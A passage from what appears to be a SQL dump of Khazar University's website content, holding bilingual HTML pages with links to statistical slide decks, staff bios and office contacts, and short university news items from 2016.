href=\"http://www.khazar.org/files/social/Alumni_(2013-2014).pptx\">Alumni (2013-2014 academic year)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">7.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/Alumni_(2010-2014).pptx\">Alumni (2010-2014 years)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<div style=\"font-size: medium;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:11.25pt;background:white\"\"=\"\">\r\n<hr width=\"100%\">\r\n</div>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Profiles for 2014-2015\r\nacademic year (Fall 2014):</p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">1.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/SCHOOLS.pptx\">SCHOOLS</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/ACADEMIC_DEPARTMENTS.pptx\">ACADEMIC DEPARTMENTS</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/STUDENT_STAFF.pptx\">STUDENT STAFF</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">4.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/NUMBER_OF_MAJORS%20(by%20years).pptx\">NUMBER OF MAJORS (by years)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">5.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/STUDENT_ADMISSION%20(by%20years).pptx\">STUDENT ADMISSION (by years)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">6.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/STUDENT_ADMISSION%20(by%20schools).pptx\">STUDENT ADMISSION (by schools)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">7.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/STUDENT_ADMISSION%20(by%20majors).pptx\">STUDENT ADMİSSİON (by majors)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">8.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong>CLASS SIZE</strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">9.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/FOREIGN_STUDENTS_(admission-by-years).pptx\">FOREIGN&nbsp; STUDENTS&nbsp; (admission-by\r\nyears)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">10.&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/FORE%C4%B0GN_STUDENTS-(by_university).pptx\">FOREİGN STUDENTS&nbsp; (by university)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">11.&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/EMPLOYEE%20(total).pptx\">EMPLOYEE (total)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">12.&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/EMPLOYEE%20(academic).pptx\">EMPLOYEE (academic)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">13.&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/EMPLOYEE%20(non-academic).pptx\">EMPLOYEE (non-academic)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">14.&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/FINAL_ASSESSMENT_OF_STUDENTS.pptx\">FINAL ASSESSMENT OF STUDENTS</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">15.&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/ALUMNI%20_8Fall_2014.pptx\">ALUMNİ (Fall 2014</a></strong><strong>)</strong></p>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<div style=\"font-size: medium;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:11.25pt;background:white\"\"=\"\">\r\n<hr width=\"100%\">\r\n</div>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Profiles for 2014-2015\r\nacademic year (Spring 2015)</p>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">1.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/SCHJOOLS%201.pptx\">SCHOOLS&nbsp;1</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/SCHOOLS%202.pptx\">SCHOOLS 2</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/ACADEM%C4%B0C%20DEPARTMENTS.pptx\">ACADEMIC DEPARTMENTS</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">4.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/STUDENT%20STAFF.pptx\">STUDENT STAFF</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">5.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/CLASS%20S%C4%B0ZE.pptx\">CLASS SIZE</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">6.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/EMPLOYEE_total.pptx\">EMPLOYEE (total)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">7.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/EMPLOYEE_academic.pptx\">EMPLOYEE (academic)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">8.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/EMPLOYEE_non-academic.pptx\">EMPLOYEE (non-academic)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">9.&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/Alumni(by%20schools)%20(Spring%202015).pptx\">ALUMNİ (Spring 2015)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">10.&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/ALUMNI%20(2014-2015%20academic%20years).pptx\">ALUMNİ (2014/2015 academic year)</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:11.25pt;background:white\"\"=\"\">11.&nbsp;&nbsp;\r\n<strong><a href=\"http://www.khazar.org/files/social/Final%20Assessment%20of%20Students-%20spring%202015.pptx\">FINAL ASSESSMENT OF STUDENTS</a></strong></p>  <br></div>'),(1684,1034,'az','İşçi heyəti','İşçi heyəti','<div><br></div><div><img src=\"/files/social/ulker.jpg\" style=\"width:150px;height:100px;margin:7px;float:left\"><br></div><div><strong><a href=\"http://www.khazar.org/files/pdf/ULKER%20ISAYEVA-CV.pdf\">Ülkər İsayeva</a>&nbsp;</strong> <br></div><div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">1985-ci ildə Bakı şəhərində anadan olmuşdur.2001-ci ildə Zəngi liseyinin biokimya sinfini bitirmişdir və sonralar təhsilini davam etdirmək üçün Amerikaya getmişdir.Amerikanın Los Anceles şəhərində Santa Monika kolleində və Türkiyənin İstanbul şəhərində Boğaziçi Universitetində Psixologiya üzrə bakalavr təhsili almışdır.2008- ci ildə Böyük Britaniyanın York Universitetində Koqnitiv Neyropsixologiya üzrə magistr dərəcəsini almışdır.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">O vaxtdan etibarən , Ülkər İsayeva Xəzər Universitəsində çalışmış, Azərbaycanda ilk Psixoloji Məsləhət və Psixoterapiya mərkəzlərindən birini yaratmışdır. Hal –hazırda o, Xəzər Universitetinin İnsan Resursları Departamentinin rəhbəri vəzifəsində çalışır və həmçinin Psixologiya departamentinin müəllimidir.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Ülkər İsayeva xarici ölkələrdə keçirilən bir çox treyninqlərin və konfransların daimi iştirakçısıdır. ASAİF (Xaricdə Təhsil Alan və Məzun olmuş Tələbələrin Forumu) və ASAAP (Azərbaycan Sosial Dəstək və Maarifləndirmə Proqramı) təşkilatlarının həmtəsisçisidir.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Ülkər İsayeva , həmçinin , Amerika Psixologiya Assosiasiyasının üzvüdür.</p>  <br></div><div><br></div><div><br></div>'),(1685,1035,'az','Əlaqə','Əlaqə','<div></div> <div><embed style=\"white-space:pre\" class=\"Apple-tab-span\" type=\"application/x-shockwave-flash\">\"&gt;<strong>E-mail:</strong>&nbsp;<span class=\"Apple-tab-span\" style=\"white-space:pre\"> uisayeva[at]khazar.org  </span><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">               amukhtarova[at]khazar.org  </span></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><strong>Tel:</strong>&nbsp;&nbsp;<span class=\"Apple-tab-span\" style=\"white-space:pre\">+994 50 2520017  </span><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">        +994 55 2594663  </span></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">        </span><span style=\"white-space:pre\">+994 12 4217916/288</span><span class=\"Apple-tab-span\" style=\"white-space:pre\"><div style=\"background:undefined\"><br></div></span></div><div style=\"background:undefined\"><br></div></div><span class=\"Apple-tab-span\" style=\"white-space:pre\"></span>'),(1686,1049,'en','The Health Care Center','The Health Care Center','<p>The Health Care Center is available free to all students, faculty and staff. It provides basic medical services, including primary ambulatory medical care, some immunizations, and first aid. Qualified specialists invited to the Center in the case of urgent need. All medical records, including required health-related correspondence are maintained in the Center. These records are considered to be confidential and are available only for the Center\'s professional staff members. The Health Care Center is open every day except Saturday and Sunday, from 9:00 to 18:00.</p><p>In conjunction with the services of the Health Care Center, separate psychological care and moral support are offered through the Khazar Psychological Counseling and Psychotherapy Center.</p><p><br></p><h3>Contact</h3><p><strong><img src=\"/files/letters/IMG-20180206-WA0004.jpg\" style=\"float:left;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/letters/Leyla_Camilzade_CV.pdf\">Leyla Cemilzade</a></strong></p><p><strong>Head of&nbsp;the Health Care Center  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lcemilzade@khazar.org\">lcemilzade[at]khazar.org</a>  <a href=\"http://mailto:lcemilzade@khazar.org\"></a><a title=\"lcemilzade@khazar.org\" target=\"_self\" tabindex=\"0\" label=\"Email lcemilzade@khazar.org\"></a>  </p><p><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (241)    </p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\"><br></p>'),(1687,1049,'az','Tibbi yardım mərkəzi','Tibbi yardım mərkəzi','<p>Tibbi yardım mərkəzi bütün tələbə və işçilərə xidmət edir. Bu mərkəz əsas ambulator tibbi yardım, peyvənd, ilk tibbi yardım kimi tibbi xidmətlər göstərir.</p><p>Ehtiyac olarsa mərkəzə ixtisaslı mütəxəssislər dəvət olunur. Bütün tibbi qeydlər, o cümlədən səhiyyə ilə bağlı tələb olunan məlumatlar mərkəzdə saxlanılır. Bu qeydlər məxfi hesab edilir və onlara yalnız mərkəzin peşəkar heyət üzvləri baxa bilər. Tibbi yardım mərkəzi şənbə və bazar günü istisna olmaqla, hər gün saat 9:00-dan 18:00-a qədər açıqdır.</p><p>Tibbi yardım mərkəzinin xidmətləri ilə bərabər, Xəzərin Psixoloji Məsləhət və Psixoterapiya Mərkəzi vasitəsilə psixoloji məsləhət və mənəvi dəstək verilir.</p><p><br></p>    <h3>Əlaqə</h3><p><strong><img src=\"/files/letters/IMG-20180206-WA0004.jpg\" style=\"float:left;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/letters/Leyla_Camilzade_CV.pdf\">Leyla Cəmilzadə</a></strong></p><p><strong>Tibbi yardım mərkəzinin müdiri</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lcemilzade@khazar.org\">lcemilzade[at]khazar.org</a>  <a href=\"http://mailto:lcemilzade@khazar.org\"></a><a title=\"lcemilzade@khazar.org\" target=\"_self\" tabindex=\"0\" label=\"Email lcemilzade@khazar.org\"></a>  </p><p><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (241)    </p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\"><br></p>'),(1688,1039,'az','İşçi heyət','İşçi heyət','<p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><a href=\"http://www.khazar.org/files/letters/ALOVSAT_AMIRBEYLI.pdf\"><img src=\"/files/letters/alovsat_a.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Əlövsət Əmirbəyli</a></strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>İctimai Əlaqələr və Media şöbəsinin direktoru</strong><br></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>E-mail:&nbsp;</strong><a href=\"mailto:aamirbeyli@khazar.org\">aamirbeyli[at]khazar.org</a>  </p><p><strong>Telefon:&nbsp;</strong>(+99412) 421 10 93 (231)  </p>\r\n<p><br></p><p><br></p><hr><strong><a href=\"http://www.khazar.org/files/pdf/Sefiyeva_Sevinc_cv.pdf\"><img src=\"/files/letters/sevinc_sh.jpg\" style=\"float:left;width:150px;height:211px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><a href=\"http://www.khazar.org/files/pdf/Sefiyeva_Sevinc_cv.pdf\">Sevinc Şəfiyeva</a></strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Koordinator</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>E-mail:&nbsp;</strong><a href=\"mailto:aamirbeyli@khazar.org\"></a><a href=\"mailto:sshafiyeva@khazar.org\">sshafiyeva[at]khazar.org</a>&nbsp;</p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p>'),(1689,1040,'az','Elm və Sənət məclisi','Elm və Sənət məclisi','<p><img src=\"/files/image/elm%20ve%20ince%20senet.jpg\" style=\"width:250px;height:352px;margin:7px;float:left\">2006-cı ilin yaz-yay aylarında Elm və Sənət Məclisi təşkil etmək, heç bir sahə məhdudiyyəti qoymadan vacib hesb etdiyimiz problemləri müzakirəyə çıxarmaq barədə fikrimiz qətiləşdi.&nbsp;Hər dəfə bir və ya iki mütəxəssisin məruzəsini dinləmək,&nbsp;onları sual atəşinə tutmaq, söz, fikir söyləmək istəyənləri dinləmək, məruzə və müzakirənin nəticələrini əvvəlcə “Xəzər Xəbər” dərgisində, sonra isə qruplaşdırıb kitab şəklində nəşr etmək qərarına gəldik.&nbsp;2006-cı il oktyabrın 10-da Xəzər Universitetinin Konfrans Mərkəzində birinci məclis baş tutdu. Həm Azərbaycandan, həm də müxtəlif ölkələrdən mütəxəssisləri, elm və sənət adamlarını məruzə üçün dəvət etməyə başladıq.&nbsp;Qısa zamanda Elm və Sənət Məclisimiz tanındı və sevildi.&nbsp;</p><p><em>Prof.&nbsp;Hamlet İsaxanlı&nbsp;</em></p>'),(1691,1052,'az','Yеməkхаnа','Yеməkхаnа','<p>Univеrsitetin bütün binаlаrındа əməkdаşlаr və tələbələr üçün yеməkхаnаlаr fəаliyyət göstərir. Yеməkхаnаlаr, bаzаr günü istisnа оlmаqlа, həftənin 6 günü tələbə və əməkdаşlаrın хidmətindədir. Хüsusi hаllаrdа (kоnfrаnslаr, görüşlər və s.)&nbsp;yеməkхаnalar&nbsp;bаzаr günləri də işləyir.</p>\r\n<p><br></p>\r\n<h3><strong>Əlaqə</strong></h3><p><a href=\"http://www.khazar.org/files/letters/samira_mammadova_cv.pdf\"><strong>Samirə Məmmədova</strong></a></p><p><strong>Menecer</strong> <br></p><p><strong>Telefon: (</strong>+99455)&nbsp;677 37 30  </p>'),(1692,1052,'en','Canteen','Canteen','<p>All the buildings of the university have functioning canteens for the staff and the students. The canteens are at the staff and students’ service for 6 days a week except for Sunday. On special occasions (conferences, meetings, etc.) the canteens work on Sundays as well.</p><p><br></p>\r\n<h3><strong>Contact</strong></h3><p><a href=\"http://www.khazar.org/files/letters/samira_mammadova_cv.pdf\"><strong>Samira&nbsp;Mammadova</strong></a></p><p><strong>Manager</strong> <br></p><p><strong>Phone: (</strong>+99455)&nbsp;677 37 30  </p>'),(1693,1053,'az','Xəbərlər','Xəbərlər',''),(1694,1053,'en','News','',''),(1695,1054,'en','Events/Announcements','',''),(1696,1055,'en','Research Experimental Laboratory','Research Experimental Laboratory','<p>In\r\nthe research laboratory, undergraduate and post-graduate students carry out\r\nresearch areas such as Heat Transfer, Fluid Mechanics and Enhanced Oil\r\nRecovery.</p><p>The\r\nequipments in the laboratory include:</p><p><br></p><div><p><img src=\"/files/social/IMG_5265.JPG\" style=\"border:0px  #000000;width:300px;height:227px;float:left;margin:7px\"></p><p>Heat Exchanger Apparatus</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/social/IMG_5263.JPG\" style=\"border:0px  #000000;width:300px;height:227px;margin:7px;float:left\"></p><p>Friction Factor Apparatus</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><br></p><p><br></p><p><br></p>\r\n<p><br></p><p><br></p><p><img src=\"/files/social/IMG_3780.JPG\" style=\"border:0px  #000000;width:300px;height:227px;margin:7px;float:left\"></p><p>Core Flood Apparatus</p><p><br></p><p><br></p><p><br></p><p><br></p>  <br></div>'),(1706,1060,'en','Erasmus Mundus EMBER Project Results: Master Student of Khazar University Selected for Exchange in Poland','Vusala Huseynova, an MBA student of Khazar University, has been selected to participate in an exchange mobility within the Erasmus Mundus EMBER project. The University of Lodz in Poland will host Vusala Huseynova for 10 months.','<p>Vusala Huseynova, an MBA student of Khazar University, has been selected to participate in an exchange mobility within the Erasmus Mundus EMBER project. The University of Lodz in Poland will host Vusala Huseynova&nbsp;for 10 months.</p><p>&nbsp;</p><p>Huseynova says, “Khazar University was my first and only preference to do a Master’s Degree. Khazar University has partnership agreements with numerous European countries and this was one of the main reasons which triggered me and made me go for this challenge.”</p><p>&nbsp;</p><p>Vusala Huseynova shares her emotions on finding out about the EMBER project selection results: “I was so delighted to see my name on the list of selected candidates for EMBER project! To study abroad will be a great opportunity and experience for me. If we see the different influence of different teachers on us, then naturally the influence of different country, people, culture and education itself will be enormous.”</p><p>&nbsp;</p><p>Vusala also shares her expectations about the upcoming exchange: “I aim to get practical skills, extend my knowledge, and broaden my worldview and vision. I will do my best to use this chance effectively and come back to my country as a better-qualified person. Azerbaijan is a developing country and I aim to be one of the young professionals who will be useful to this country and able to take big steps in order to realize big projects and make it develop even more.”</p><p>&nbsp;</p><p>The International Affairs Office coordinates the EMBER project at Khazar University.</p><p>&nbsp;</p>'),(1707,1061,'az','Fakültə əməkdaşlarının məqaləsi çap edildi','2016-ci il aprelin 30-da Humanitar və sosial elmlər fakültəsinin baş laborantı Validə Kərimova (Dilşünaslıq ixtisası üzrə doktorant) və Lamiyə Hacılı, Bakı Slavyan Universitetində ümummilli lider Heydər Əliyevin anadan olmasının 93-cü ilinə həsr olunmuş “Filologiya elminin aktual problemləri” elmi konfransında.','<p>2016-ci il aprelin 30-da Humanitar və sosial elmlər fakültəsinin baş laborantı Validə Kərimova (Dilşünaslıq ixtisası üzrə&nbsp;doktorant) və Lamiyə Hacılı, Bakı Slavyan Universitetində ümummilli lider Heydər Əliyevin anadan olmasının 93-cü ilinə həsr olunmuş “Filologiya elminin aktual problemləri” elmi konfransında, Validə Kərimova “Qlobal körpüləşmə: mən sizin dilinizi danışıram” (ingiliscə), Lamiyə Hacılı isə “Tarixə nəzərən təhsilin anlamı” tezisləri ilə çıxış etdilər.</p><p>Konfransın sonunda elmi tədqiqatçılara elmi məqalələrin dərc olunduğu kitab və sertifikat təqdim edildi.</p>'),(1708,1061,'en','Staff Members at Conference','Valida Karimova, PhD student in Linguistics and Research Assistant for the School of Humanities and Social Sciences, and Lamiya Hajili, Dean’s Assistant, participated in the “Current Problems of Philology\" Conference which was held on April 30, 2016 at Baku Slavic University.','Valida Karimova, PhD student in Linguistics and Research Assistant for the School of Humanities and Social Sciences, and Lamiya Hajili, Dean’s Assistant, participated in the “Current Problems of Philology\"&nbsp;Conference which was held on April 30, 2016 at Baku Slavic University. At the conference, Valida Karimova presented an article on&nbsp;“Globally Bridging: I Speak Your Language,” while Lamiya Hajili presented “Tarixə Nəzərən Təhsilin Anlami” in Azerbaijani (Understanding Education from a Historical Perspective). At the end of the conference, the participants were awarded with certificates and&nbsp;books of the published conference materials.'),(1709,1062,'az','Xanımlar İKT-yə yönəlirlər','2016-cı il aprelin 28-də ADA Universitetində Wowoman Tech Tech Xanım və “Femmes Digitales” Azərbaycanın İKT qadınlarının birgə əməkdaşlığı sayəsində mobil tətbiqetmələrin hazırlanması üzrə təlimlər təşkil edilmişdi.','<p>2016-cı il aprelin 28-də ADA Universitetində&nbsp;<strong><em>Wowoman Tech Tech Xan</em></strong><strong><em>ı</em></strong><strong><em>m və “Femmes Digitales”</em></strong>&nbsp;Azərbaycanın İKT qadınlarının birgə əməkdaşlığı sayəsində mobil tətbiqetmələrin hazırlanması üzrə təlimlər təşkil edilmişdi.&nbsp;Təlimçi Xəzər Universitetinin lektoru, Bakı Britaniya məktəbinin İKT-instruktoru və&nbsp;<em>WoWoman Tech Tech Xanım</em>&nbsp;layihəsinin meneceri Günay Kazımzadə idi.</p><p>Bu haqda daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://technimum.com/blog/6040.html\" target=\"_blank\">http://technimum.com/blog/6040.html</a>.</p>'),(1710,1062,'en','Ladies in ICT','On April 28, 2016, a training in writing mobile applications was held at ADA University by the WoWoman Tech Tech Khanim project and “Femmes Digitales” as a result of the partnership of Azerbaijani women working in IT fields.','<p>On April 28, 2016, a training in writing mobile applications was held at ADA University by the WoWoman Tech Tech Khanim project and “Femmes Digitales” as a result of the partnership of Azerbaijani women working in IT fields. The trainer was Gunay Kazimzadeh, instructor at Khazar University, IT instructor at Baku British School and Project Manager for WoWoman Tech Tech Khanim.</p><p>More information is available at the following link:</p><p><a href=\"http://technimum.com/blog/6040.html\" target=\"_blank\">http://technimum.com/blog/6040.html</a>.</p>'),(1711,1063,'az','Tələbələr ekstermizmə qarşı mübarizə proqramında  ','2016-cı il mayın 3-də “525-ci qəzet”in rəsmi internet səhifəsində Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin maliyyə, biznesin təşkili və idarə edilməsi ixtisasları üzrə təhsil alan tələbələrin “İmagine” komandasının universitetin “Adventure Partners” (AVP) şirkətinin “Peer to Peer” (P2P) layihəsi əsasında həyata keçirilən ekstermizmə qarşı mübarizə proqramında iştirakı haqqında xəbər yayınlamışdır.','<p><strong>2016-cı il mayın 3-də “525-ci qəzet”in rəsmi internet səhifəsində Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin maliyyə, biznesin təşkili və idarə edilməsi ixtisasları üzrə təhsil alan tələbələrin “İmagine” komandasının universitetin “Adventure Partners” (AVP) şirkətinin “Peer to Peer” (P2P) layihəsi əsasında həyata keçirilən ekstermizmə qarşı mübarizə proqramında iştirakı haqqında xəbər yayınlamışdır.</strong></p><p><strong>Xəbəri tam şəkildə bu linkdən oxumaq olar:</strong></p><p><a href=\"http://525.az/site/?name=xeber&amp;news_id=56301\" 